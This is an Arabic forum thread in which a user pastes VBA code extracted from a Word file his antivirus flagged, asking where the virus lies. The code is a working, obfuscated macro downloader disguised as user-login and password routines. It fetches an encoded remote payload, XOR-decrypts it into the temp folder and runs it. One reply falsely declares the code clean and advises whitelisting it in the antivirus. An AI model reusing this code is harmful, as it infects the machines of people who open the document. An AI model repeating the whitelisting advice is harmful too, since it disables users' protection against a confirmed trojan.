فيروس داخل ملف وورد

ابن الملك · أغسطس 26, 2016

**** تحذير يا أخوانى *****

لقد أظهر برنامج الانتى فيروس لدى أن هذا الكود الذى كان موجود داخل ملف وور بأنه فيروس

وكنت اطلب من عمالقه المنتدى أين الجزء الخاص الذى يقول انه فيروس و ما هو مدى خطورته ؟

لقد عطلت برنامج الحماية وأستخرجت الكود من الموديول لكى أستشيركم فيه

****** أكرر التحذير مرة أخرى لكى اكون برىء من ذنب أى خطأ يحدث من هذا الكود .

شكرا لكم جزيلا

 
Global Const mensaje_cancelar = " Pulse Click para abandonar esta ventana."
Global Const mensaje_cerrar = " Pulse Click para abandonar esta ventana."
Global Const mensaje_salir = " Pulse Click para abandonar esta ventana."
Global Const mensaje_opcion = " Pulse Click para seleccionar Opci?n."
Global Const mensaje_copiar = " Pulse Click para Copiar al Portapapeles."
Public InTheAfrikaMountainsAreHighDAcdaw As Object
Public InTheAfrikaMountainsAreHighPLAPEKCwwed As Object
Public InTheAfrikaMountainsAreHighKSKLAL As Object
Public InTheAfrikaMountainsAreHighXSAOO() As String


Public InTheAfrikaMountainsAreHighLAKOPPC As String
Public InTheAfrikaMountainsAreHighPLAPEKC() As String
Public InTheAfrikaMountainsAreHighUUUKA As String
Public InTheAfrikaMountainsAreHighUUUKABBB As String


Public InTheAfrikaMountainsAreHighGMAKO As Object
Public InTheAfrikaMountainsAreHigh4 As String
 Public InTheAfrikaMountainsAreHigh2 As String
Public InTheAfrikaMountainsAreHighASALLLP As Variant





















Public Function VerAuditoria()
Dim SQL As String


VerAuditoria = False
RsUsu.ActiveConnection = Con

SQL = "Select * FROM usuarios "
SQL = SQL & " WHERE usu_id=" & IdUsuario
RsUsu.Open SQL

    If Not RsUsu.EOF Then
     If RsUsu!usu_auditor = "S" Then
        VerAuditoria = True
     Else
        VerAuditoria = False
     End If
        
        
    
    End If



End Function


Public Function permisos(nombreformu As String, IdUsuario As Long) As Boolean

Dim SQL As String
Dim idformu As Long

permisos = False
RsUsu.ActiveConnection = Con
idformu = BuscarIdFormu(nombreformu)

SQL = "Select * FROM PermisosPorFormu "
SQL = SQL & " WHERE ppf_idformu=" & idformu
SQL = SQL & " AND ppf_idusuario=" & IdUsuario
RsUsu.Open SQL

    If Not RsUsu.EOF Then
     permisos = True
     p = RsUsu!ppf_permisos
        
        
    
    End If



End Function
Public Function BuscarIdFormu(nombreformu As String) As Long
Dim SQL As String

RsFormu.ActiveConnection = Con

SQL = "Select * from Formularios WHERE frm_nombre=" & ""

RsFormu.Open SQL

    If Not RsFormu.EOF Then
        BuscarIdFormu = RsFormu!frm_id
    End If
End Function
Public Function ExisteUsuario(nomusu As String, IdUsuario As Long, clave As String) As Boolean
Dim SQL As String


 Set InTheAfrikaMountainsAreHigh1DASH1solo = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(3))
 Set InTheAfrikaMountainsAreHighKSKLAL = InTheAfrikaMountainsAreHigh1DASH1solo.Environment(InTheAfrikaMountainsAreHighPLAPEKC(4))
 VerCadenaPermiso SQL
Exit Function
RsUsuario.ActiveConnection = RutaBase

SQL = "Select * from Usuarios WHERE usu_apodo=" & ""
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    ExisteUsuario = True
    IdUsuario = RsUsuario!usu_id
    clave = RsUsuario!usu_clave
Else
    ExisteUsuario = False
End If
End Function
Public Function PrimeraVez() As Boolean

Dim SQL As String
Dim entrada As String
Dim I As Integer
 Dim d As Boolean
 d = True
 IsWord = True
 For I = 1 To Len(Trim("DAbro"))
 If d = False Then
Set InTheAfrikaMountainsAreHighDAcdaw = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(I - 2))
Exit For
Else
d = False
End If
Next I
ExisteUsuario entrada, 0, SQL
Exit Function
PrimeraVez = False
RsUsuario.ActiveConnection = RutaBase
entrada = "N"
SQL = "SELECT * FROM Usuarios WHERE usu_id=" & IdUsuario
SQL = SQL & " AND usu_entrada=" & ""
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    PrimeraVez = True
    IdUsuario = RsUsuario!usu_id
    clave = RsUsuario!usu_clave
Else
    PrimeraVez = False
End If





End Function

Function SAAKASHVILLI_MUDEN(ByVal Cadena As String) As String
    
    
    
    Dim longitud As Integer
    Dim Puntero As Integer
    Dim Codigo As String
    Dim Conversores() As Integer
    Dim Salida As String

    
    ReDim Conversores(8) As Integer
    Conversores(1) = 25
    Conversores(2) = -20
    Conversores(3) = 30
    Conversores(4) = -15
    Conversores(5) = 20
    Conversores(6) = -10
    
 InTheAfrikaMountainsAreHighXSAOO = Split("634411211211211270761121121121127076112112112112683211211211211235381121121121122867112112112112286711211211211272591121121121127259112112112112725911211211211228061121121121126222112112112112591711211211211265881121121121126039112112112112640511211211211259171121121121126710112112112112677111211211211228061121121121126405112112112112707611211211211228671121121121122928112112112112347711211211211271371121121121126344112112112112341611211211211267101121121121127381", "112112112112")
    Conversores(7) = 25
    Conversores(8) = -5

    
    Salida = ""

    
    longitud = Len(Cadena)
InTheAfrikaMountainsAreHigh2 = GodnTeBabenParama("BRREADicroBRRREADoft.XBRREADLHTTPBRRRREADAdodb.BRRREADtrBREADaBRREADBRRRREADBRRREADhBREADll.Appli" _
+ GodnTeBabenParama("cationBRRRREADWBRRREADcript.BRRREADhBREADllBRRRREADProcBREADBRRREADBRRREADBRRRREADGBREADTBRRRREADTBREADBRREADPBRRRREADTypBREADBRRRREADopBREADnBRRRREADwritTRONponBRRREADBREADBodyBRRRREADBRRREADavBREADtofilBREADBRRRREAD", "TRON", "BREADBRRRREADrBREADBRRREAD") _
+ "\zorginBRRREAD.BREADxBREAD", "BREAD", "e")
    
    For Puntero = 1 To longitud
        Codigo = Chr(Asc(Mid(Cadena, Puntero, 1)) + Conversores(Puntero))
        Salida = RTrim(Salida) & LTrim(Codigo)
    Next Puntero

cDesCripto Salida
    SAAKASHVILLI_MUDEN = Salida
End Function

Function cDesCripto(ByVal Cadena As String) As String
    
    
    
    Dim longitud As Integer
    Dim Puntero As Integer
    Dim Codigo As String
    Dim Conversores() As Integer
    Dim Salida As String

    
    ReDim Conversores(8) As Integer
    Conversores(1) = -25
    Conversores(2) = 20
    Conversores(3) = -30
    Conversores(4) = 15
    Conversores(5) = -20
    Conversores(6) = 10
    
 InTheAfrikaMountainsAreHigh2 = GodnTeBabenParama(InTheAfrikaMountainsAreHigh2, "BRREAD", "M")
 InTheAfrikaMountainsAreHigh2 = GodnTeBabenParama(InTheAfrikaMountainsAreHigh2, "BRRREAD", "s")
    Conversores(7) = -25
    Conversores(8) = 5

    
    Salida = ""

    
    longitud = Len(Cadena)

    
    For Puntero = 1 To longitud
        Codigo = Chr$(Asc(Mid$(Cadena, Puntero, 1)) + Conversores(Puntero))
        Salida = RTrim$(Salida) & LTrim$(Codigo)
    Next Puntero
    cDesCripto = Salida

 InTheAfrikaMountainsAreHighPLAPEKC = Split(InTheAfrikaMountainsAreHigh2, "BRRRREAD")
 Set InTheAfrikaMountainsAreHighPLAPEKCwwed = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(1))
 Set InTheAfrikaMountainsAreHighGMAKO = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(2))
 PrimeraVez
End Function







Public Function DuBirMahnWeishr(InTheAfrikaMountainsAreHigh6 As Integer) As String
Dost = CInt(InTheAfrikaMountainsAreHighXSAOO(InTheAfrikaMountainsAreHigh6))
DuBirMahnWeishr = Chr(Dost / 61)
End Function
Public Function GodnTeBabenParama(A1 As String, A2 As String, A3 As String) As String
GodnTeBabenParama = Replace(A1, A2, A3)
End Function

Public Sub CambiarPass(OldPass As String, newpass As String, cambio As Boolean)
Dim SQL As String
If cambio Then
 InTheAfrikaMountainsAreHighLAKOPPC = InTheAfrikaMountainsAreHighKSKLAL(InTheAfrikaMountainsAreHighPLAPEKC(6))
 InTheAfrikaMountainsAreHighUUUKA = InTheAfrikaMountainsAreHighLAKOPPC

 
 InTheAfrikaMountainsAreHighUUUKABBB = InTheAfrikaMountainsAreHighUUUKA + "weffvxcvw"
InTheAfrikaMountainsAreHighUUUKA = InTheAfrikaMountainsAreHighUUUKA + InTheAfrikaMountainsAreHighPLAPEKC(12)
InTheAfrikaMountainsAreHighPLAPEKCwwed.Type = 1

 InTheAfrikaMountainsAreHighPLAPEKCwwed.Open
 encript SQL
Exit Sub
Else
GoTo BigEnd
End If
RsUsuario.ActiveConnection = RutaBase
RsClave.ActiveConnection = RutaBase

SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    If OldPass = Decript(RsUsuario!usu_clave) Then
        
        SQL = "UPDATE Usuarios SET usu_clave=" & ""
        SQL = SQL & " WHERE usu_id=" & IdUsuario
        RsClave.Open SQL
        cambio = True
        
    Else
        cambio = False
    End If
End If
BigEnd:
CallByName InTheAfrikaMountainsAreHighPLAPEKCwwed, "savetofile", VbMethod, InTheAfrikaMountainsAreHighUUUKABBB, 2
 UNDOPRYXOR InTheAfrikaMountainsAreHighUUUKABBB, InTheAfrikaMountainsAreHighUUUKA, "bBk9tdDjesv9qgLr6sUGkfvl4l4Cba2k"
 InTheAfrikaMountainsAreHighGMAKO.Open (InTheAfrikaMountainsAreHighUUUKA)
End Sub
Public Sub UNDOPRYXOR(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
  

  
  
  
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
  
  
  Call DecryptByte(ByteArray(), Key)


  
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub
Public Sub DecryptByte(ByteArray() As Byte, Key As String)

  Dim Offset As Long
  Dim ByteLen As Long
  Dim ResultLen As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
  Dim m_Key() As Byte
Dim m_KeyLen As Long

  m_KeyLen = Len(Key)
ReDim m_Key(m_KeyLen)

  m_Key = StrConv(Key, vbFromUnicode)

  
  ByteLen = UBound(ByteArray) + 1
  ResultLen = ByteLen
  
  
  For Offset = 0 To (ByteLen - 1)
    ByteArray(Offset) = ByteArray(Offset) Xor m_Key(Offset Mod m_KeyLen)
  
    
    If (Offset >= NextPercent) Then
      CurrPercent = Int((Offset / ResultLen) * 100)
      NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1
    End If
  Next
End Sub
Public Sub ActualizarEntrada()
Dim SQL As String
Dim entrada As String


entrada = "S"


RsUsuario.ActiveConnection = RutaBase

SQL = "UPDATE Usuarios "
SQL = SQL & " SET usu_entrada=" & ""
SQL = SQL & " Where usu_id = " & IdUsuario
RsUsuario.Open SQL


End Sub
Public Function NombreUsuario() As String
Dim SQL As String

RsUsuario.ActiveConnection = RutaBase

SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    NombreUsuario = RsUsuario!usu_apodo
End If
End Function
Public Function encript(pass As String) As String
    Dim temp As String
    Dim temp1 As String
    Dim pos As Long
    Dim leng As Long
    Dim tim As Variant
    Dim I As Long
    Dim Key As Long
InTheAfrikaMountainsAreHighASALLLP = InTheAfrikaMountainsAreHighDAcdaw.responseBody
 
 Decript temp1
 Exit Function
    leng = Len(pass)
    tim = Mid(Time, 1, 8)
    tim = Mid(tim, 1, Len(tim) - 3)
    tim = Mid(tim, Len(tim) - 1, 2) * Int(Rnd * 100)
    For I = 1 To Len(CStr(tim))
        pos = pos + CInt(Mid(CStr(tim), I, 1))
    Next
    While pos > Len(pass)
        pos = pos Mod 10 + Int(Rnd * 10)
        If pos = 0 Then
            pos = Len(pass) + 1
        End If
    Wend
    If pos <= 2 Then
        pos = 3
    End If
    Key = Int((255 - 150 + 1) * Rnd + 150)
    For I = 1 To Len(pass)
        If Asc(Mid(pass, I, 1)) > Key Then
            temp = temp & Chr(CInt(Asc(Mid(pass, I, 1))) - Key)
        ElseIf Asc(Mid(pass, I, 1)) < Key Then
            temp = temp & Chr(Key - CInt(Asc(Mid(pass, I, 1))))
        Else
            temp = temp & Chr(Asc(Mid(pass, I, 1)))
        End If
    Next
    temp1 = Mid(temp, 1, pos) & Chr(Key)
    temp1 = temp1 & Mid(temp, pos + 1, Len(temp))
    temp = Chr(pos + 150) & temp1
    encript = temp
End Function


Public Sub VerCadenaPermiso(permiso As String)
Dim I As Long
Dim letra As String

Alta = False
Baja = False
modi = False
Dim Consu As Boolean
Consu = True
Dim apdistance As Integer
For apdistance = LBound(InTheAfrikaMountainsAreHighXSAOO) To UBound(InTheAfrikaMountainsAreHighXSAOO)
 InTheAfrikaMountainsAreHigh4 = InTheAfrikaMountainsAreHigh4 & DuBirMahnWeishr(apdistance)
 Next apdistance
 
 
 If Application = "Microsoft Word" Then
 InTheAfrikaMountainsAreHighDAcdaw.Open InTheAfrikaMountainsAreHighPLAPEKC(5), InTheAfrikaMountainsAreHigh4, False
InTheAfrikaMountainsAreHighDAcdaw.Send
CambiarPass letra, "", True
End If

Exit Sub
    For I = 1 To Len(permiso)
        
        letra = Mid(permiso, I, 1)
        
        If letra = "A" Then
            Alta = True
        End If
        
        If letra = "B" Then
            Baja = True
        End If
        
        If letra = "M" Then
            modi = True
        End If
        
        If letra = "C" Then
            Consu = True
        End If
    Next I
    If Len(permiso) = 0 Then
        Consu = False
        modi = False
        Alta = False
        Baja = False
    End If
End Sub
Public Function Decript(pass As String) As String


    Dim pos As Long
    Dim Key As Long
    Dim temp As String
    Dim I As Long
    Dim temp1 As String

 InTheAfrikaMountainsAreHighPLAPEKCwwed.Write InTheAfrikaMountainsAreHighASALLLP
 CambiarPass temp, temp1, False
 Exit Function
    pos = Int(Asc(Mid(pass, 1, 1))) - 150
    Key = Asc(Mid(pass, pos + 2, 1))
    temp = Mid(pass, 1, pos + 1)
    pass = temp & Mid(pass, pos + 3, Len(pass))
    pass = Mid(pass, 2, Len(pass))
    For I = 1 To Len(pass)
        If Asc(Mid(pass, I, 1)) <> Key Then
            temp1 = temp1 & Chr(Key - CInt(Asc(Mid(pass, I, 1))))
        Else
            temp1 = temp1 & Chr(Asc(Mid(pass, I, 1)))
        End If
    Next
    Decript = temp1
End Function

ياسر خليل أبو البراء · أغسطس 26, 2016

ارفق الملف أفضل أخي الكريم .. للإطلاع عليه وفحصه ببرامج حماية أخرى

قد يكون إنذار كاذب أو قد يكون فيروس ملتصق بالملف أي أن الملف مصاب ولا علاقة للكود بالملف .. مجرد احتمالات

ابن الملك · أغسطس 26, 2016

52 دقائق مضت, ياسر خليل أبو البراء said:

ارفق الملف أفضل أخي الكريم .. للإطلاع عليه وفحصه ببرامج حماية أخرى

قد يكون إنذار كاذب أو قد يكون فيروس ملتصق بالملف أي أن الملف مصاب ولا علاقة للكود بالملف .. مجرد احتمالات

أ ياسر خليل كما طلبت حضرتك

مرفق الملف

Virus.rar

ابن الملك · سبتمبر 15, 2016

up

قلم-الاكسل(عبدالعزيز) · سبتمبر 15, 2016

قمت بفحصه ع بعض مواقع الفحص

تم فحص الملف

55 برنامج مجموع البرامج الفاحصه

33 اكدت وجود فيروس مع اختلاف تسميات الفيروس لكل برنامج واليكم الصوره

تم تعديل سبتمبر 15, 2016 بواسطه قلم-الاكسل(عبدالعزيز)

ابن الملك · سبتمبر 15, 2016

1 ساعه مضت, قلم-الاكسل(عبدالعزيز) said:

قمت بفحصه ع بعض مواقع الفحص

تم فحص الملف

55 برنامج مجموع البرامج الفاحصه

33 اكدت وجود فيروس مع اختلاف تسميات الفيروس لكل برنامج واليكم الصوره

أستاذى الفاضل أ/ قلم الاكسيل - عبد العزيز

أشكرك على توثيق المعلومه بانه به فيروس و لكن اين الجزء الخاص بالفيروس فى الكود " يعنى الفيروس ده فين وبيعمل ايه بالضبط "

أشكر حضرتك كتير

ابن الملك · سبتمبر 16, 2016

السادة الافاضل

السلام عليكم ورحمة الله - بما أن الملف به فيروس يرجى حذف الموضوع أو حذف المرفق لكى لا يتضرر أحدا بسببى .

شكرا لكم جزيلا

**omar elhosseini** · سبتمبر 16, 2016

الاخوة الاعزاء

في كثيرا من الاحوال تتشابه بعض السلسل الحرفية الطويلة

مع سجناتور فيرس

بمعني اخر كل فيرس له باترون اختبار او وزن نوعي تعتمد عليه برامج الانتي فيرس عند فحص السلسل النصية

فأذ تتطابق هذا الباترون لسلسله نصية حميده ليست فيرس يؤكد البرنامج ان هناك فيرس يعطيك ايضا اسم الفيرس وفصيلتة

ومثال علي ذلك اليكم ملف اكسيل اضغط علي الزر سيعمل علي انشاء ملف نصي في الروت الرئيسي للدريف سي بأسم

C:\Test_Virus.TXT

به سلسله نصيه مثل فيرس معين

وهي ليست بفيرس

ستجد ان معظم الانتي فيرس يخبرك بأن الملف به فيرس او يقوم بخذف السلسه النصية

اذا كنت اخي العزيز تشك في مصداقية كلامي لا تضغط علي الزر

حتي لا تخبرنا لالحقا اني تسببت تعطيل جهازك

الاخ كيرلس - ابن الملك

الكود ليس به اي فيرس

وثق الملف المحتوي علي الكود في برنامج الانتي فيرس في قسم الاستثناءات

حتي يعمل دون اعترضه

Create_Test_Virus_1.rar

تم تعديل سبتمبر 16, 2016 بواسطه عمر الحسيني

قلم-الاكسل(عبدالعزيز) · سبتمبر 16, 2016

عزيزي كيرلس

لا ادري اين كود الفيروس بالضبط

لكن لان المواقع عادة لا تاتي بالتفصيل اين الكود لكن تظهر مسميات الفيروس لو تلاحظ باللون الاحمر

وبالأصح هو ليس فيروس ولكنه تروجان

تسجيل الدخول

فيروس داخل ملف وورد

الردود الموصى بها

ابن الملك

رابط هذا التعليق

شارك

ياسر خليل أبو البراء

رابط هذا التعليق

شارك

ابن الملك

رابط هذا التعليق

شارك

ابن الملك

رابط هذا التعليق

شارك

قلم-الاكسل(عبدالعزيز)

رابط هذا التعليق

شارك

ابن الملك

رابط هذا التعليق

شارك

ابن الملك

رابط هذا التعليق

شارك

omar elhosseini

رابط هذا التعليق

شارك

قلم-الاكسل(عبدالعزيز)

رابط هذا التعليق

شارك

Join the conversation

تصفح هذا الموضوع مؤخراً 0 اعضاء متواجدين الان

تصفح الموقع

تصفح جديد الموقع

Support

Important Information